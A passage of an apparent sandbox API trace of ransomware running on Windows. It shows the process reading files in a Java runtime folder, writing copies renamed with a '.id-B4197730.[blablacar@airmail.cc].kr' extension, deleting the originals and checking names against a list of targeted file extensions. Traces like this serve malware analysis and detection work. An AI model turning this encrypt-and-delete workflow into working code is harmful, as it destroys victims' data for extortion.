[0180.960] SetEndOfFile (hFile=0x460) returned 1 [0180.966] CloseHandle (hObject=0x460) returned 1 [0180.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0180.967] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1 [0181.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0181.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0181.203] lstrlenW (lpString=".doc") returned 4 [0181.203] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0181.203] lstrlenW (lpString=".docx") returned 5 [0181.203] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0181.203] lstrlenW (lpString=".pdf") returned 4 [0181.203] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0181.203] lstrlenW (lpString=".xls") returned 4 [0181.203] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0181.203] lstrlenW (lpString=".xlsx") returned 5 [0181.203] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0181.203] lstrlenW (lpString=".ppt") returned 4 [0181.203] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0181.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0181.203] lstrlenW (lpString=".zip") returned 4 [0181.203] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0181.203] lstrlenW (lpString=".rar") returned 4 [0181.203] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0181.203] lstrlenW (lpString=".bz2") returned 4 [0181.203] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0181.203] lstrlenW (lpString=".7z") returned 3 [0181.203] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0181.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0181.203] lstrlenW (lpString=".dbf") returned 4 [0181.203] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0181.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0181.203] lstrlenW (lpString=".1cd") returned 4 [0181.203] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0181.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0181.203] lstrlenW (lpString=".jpg") returned 4 [0181.203] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0181.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0181.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0181.204] lstrlenW (lpString=".doc") returned 4 [0181.204] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0181.204] lstrlenW (lpString=".docx") returned 5 [0181.204] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0181.204] lstrlenW (lpString=".pdf") returned 4 [0181.204] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0181.204] lstrlenW (lpString=".xls") returned 4 [0181.204] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0181.204] lstrlenW (lpString=".xlsx") returned 5 [0181.204] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0181.204] lstrlenW (lpString=".ppt") returned 4 [0181.204] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0181.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0181.204] lstrlenW (lpString=".zip") returned 4 [0181.204] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0181.204] lstrlenW (lpString=".rar") returned 4 [0181.204] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0181.204] lstrlenW (lpString=".bz2") returned 4 [0181.204] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0181.204] lstrlenW (lpString=".7z") returned 3 [0181.204] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0181.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0181.204] lstrlenW (lpString=".dbf") returned 4 [0181.204] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0181.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0181.204] lstrlenW (lpString=".1cd") returned 4 [0181.204] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0181.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0181.204] lstrlenW (lpString=".jpg") returned 4 [0181.204] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0181.205] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0181.205] lstrlenW (lpString="hijrah-config-umalqura.properties") returned 33 [0181.205] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0181.205] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=13962) returned 1 [0181.205] CloseHandle (hObject=0x45c) returned 1 [0181.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20 [0181.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.206] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0181.206] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.206] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.206] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.207] GetLastError () returned 0x0 [0181.207] ReadFile (in: hFile=0x45c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x368a, lpOverlapped=0x0) returned 1 [0181.209] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x3690, lpOverlapped=0x0) returned 1 [0181.210] ReadFile (in: hFile=0x45c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0181.210] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x116, lpOverlapped=0x0) returned 1 [0181.210] SetEndOfFile (hFile=0x3f4) returned 1 [0181.210] CloseHandle (hObject=0x3f4) returned 1 [0181.211] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.211] SetEndOfFile (hFile=0x45c) returned 1 [0181.214] CloseHandle (hObject=0x45c) returned 1 [0181.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0181.215] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 1 [0181.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0181.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0181.215] lstrlenW (lpString=".doc") returned 4 [0181.215] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0181.215] lstrlenW (lpString=".docx") returned 5 [0181.215] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0181.215] lstrlenW (lpString=".pdf") returned 4 [0181.215] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0181.215] lstrlenW (lpString=".xls") returned 4 [0181.215] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0181.215] lstrlenW (lpString=".xlsx") returned 5 [0181.215] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0181.215] lstrlenW (lpString=".ppt") returned 4 [0181.216] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0181.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0181.216] lstrlenW (lpString=".zip") returned 4 [0181.216] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0181.216] lstrlenW (lpString=".rar") returned 4 [0181.216] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0181.216] lstrlenW (lpString=".bz2") returned 4 [0181.216] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0181.216] lstrlenW (lpString=".7z") returned 3 [0181.216] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0181.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0181.216] lstrlenW (lpString=".dbf") returned 4 [0181.216] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0181.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0181.216] lstrlenW (lpString=".1cd") returned 4 [0181.216] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0181.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0181.216] lstrlenW (lpString=".jpg") returned 4 [0181.216] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0181.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0181.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0181.216] lstrlenW (lpString=".doc") returned 4 [0181.216] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0181.216] lstrlenW (lpString=".docx") returned 5 [0181.216] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0181.216] lstrlenW (lpString=".pdf") returned 4 [0181.216] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0181.216] lstrlenW (lpString=".xls") returned 4 [0181.216] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0181.216] lstrlenW (lpString=".xlsx") returned 5 [0181.216] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0181.216] lstrlenW (lpString=".ppt") returned 4 [0181.216] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0181.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0181.217] lstrlenW (lpString=".zip") returned 4 [0181.217] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0181.217] lstrlenW (lpString=".rar") returned 4 [0181.217] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0181.217] lstrlenW (lpString=".bz2") returned 4 [0181.217] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0181.217] lstrlenW (lpString=".7z") returned 3 [0181.217] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0181.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0181.217] lstrlenW (lpString=".dbf") returned 4 [0181.217] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0181.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0181.217] lstrlenW (lpString=".1cd") returned 4 [0181.217] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0181.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0181.217] lstrlenW (lpString=".jpg") returned 4 [0181.217] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0181.217] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0181.217] lstrlenW (lpString="cursors.properties") returned 18 [0181.217] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0181.220] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=1280) returned 1 [0181.220] CloseHandle (hObject=0x45c) returned 1 [0181.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20 [0181.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.220] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0181.220] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.221] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.221] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.223] GetLastError () returned 0x0 [0181.223] ReadFile (in: hFile=0x45c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x500, lpOverlapped=0x0) returned 1 [0181.225] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x510, lpOverlapped=0x0) returned 1 [0181.226] ReadFile (in: hFile=0x45c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0181.226] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xf8, lpOverlapped=0x0) returned 1 [0181.226] SetEndOfFile (hFile=0x3f4) returned 1 [0181.226] CloseHandle (hObject=0x3f4) returned 1 [0181.227] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.227] SetEndOfFile (hFile=0x45c) returned 1 [0181.230] CloseHandle (hObject=0x45c) returned 1 [0181.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0181.230] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 1 [0181.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0181.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0181.231] lstrlenW (lpString=".doc") returned 4 [0181.231] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0181.231] lstrlenW (lpString=".docx") returned 5 [0181.231] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0181.231] lstrlenW (lpString=".pdf") returned 4 [0181.231] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0181.231] lstrlenW (lpString=".xls") returned 4 [0181.231] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0181.231] lstrlenW (lpString=".xlsx") returned 5 [0181.231] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0181.231] lstrlenW (lpString=".ppt") returned 4 [0181.231] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0181.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0181.231] lstrlenW (lpString=".zip") returned 4 [0181.231] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0181.231] lstrlenW (lpString=".rar") returned 4 [0181.231] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0181.232] lstrlenW (lpString=".bz2") returned 4 [0181.232] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0181.232] lstrlenW (lpString=".7z") returned 3 [0181.232] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0181.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0181.232] lstrlenW (lpString=".dbf") returned 4 [0181.232] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0181.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0181.232] lstrlenW (lpString=".1cd") returned 4 [0181.232] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0181.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0181.232] lstrlenW (lpString=".jpg") returned 4 [0181.232] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0181.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0181.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0181.232] lstrlenW (lpString=".doc") returned 4 [0181.232] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0181.232] lstrlenW (lpString=".docx") returned 5 [0181.232] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0181.232] lstrlenW (lpString=".pdf") returned 4 [0181.232] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0181.232] lstrlenW (lpString=".xls") returned 4 [0181.232] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0181.232] lstrlenW (lpString=".xlsx") returned 5 [0181.232] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0181.232] lstrlenW (lpString=".ppt") returned 4 [0181.232] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0181.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0181.232] lstrlenW (lpString=".zip") returned 4 [0181.232] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0181.232] lstrlenW (lpString=".rar") returned 4 [0181.232] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0181.233] lstrlenW (lpString=".bz2") returned 4 [0181.233] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0181.233] lstrlenW (lpString=".7z") returned 3 [0181.233] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0181.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0181.233] lstrlenW (lpString=".dbf") returned 4 [0181.233] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0181.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0181.233] lstrlenW (lpString=".1cd") returned 4 [0181.233] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0181.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0181.233] lstrlenW (lpString=".jpg") returned 4 [0181.233] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0181.233] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0181.233] lstrlenW (lpString="javafx.properties") returned 17 [0181.233] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0181.234] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=56) returned 1 [0181.234] CloseHandle (hObject=0x45c) returned 1 [0181.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20 [0181.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.235] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0181.235] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.235] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.235] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.235] GetLastError () returned 0x0 [0181.236] ReadFile (in: hFile=0x45c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x38, lpOverlapped=0x0) returned 1 [0181.320] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x40, lpOverlapped=0x0) returned 1 [0181.322] ReadFile (in: hFile=0x45c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0181.322] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xf6, lpOverlapped=0x0) returned 1 [0181.322] SetEndOfFile (hFile=0x3f4) returned 1 [0181.322] CloseHandle (hObject=0x3f4) returned 1 [0181.323] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.323] SetEndOfFile (hFile=0x45c) returned 1 [0181.326] CloseHandle (hObject=0x45c) returned 1 [0181.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0181.991] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 1 [0181.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0181.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0181.992] lstrlenW (lpString=".doc") returned 4 [0181.992] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0181.992] lstrlenW (lpString=".docx") returned 5 [0181.992] lstrcmpiW 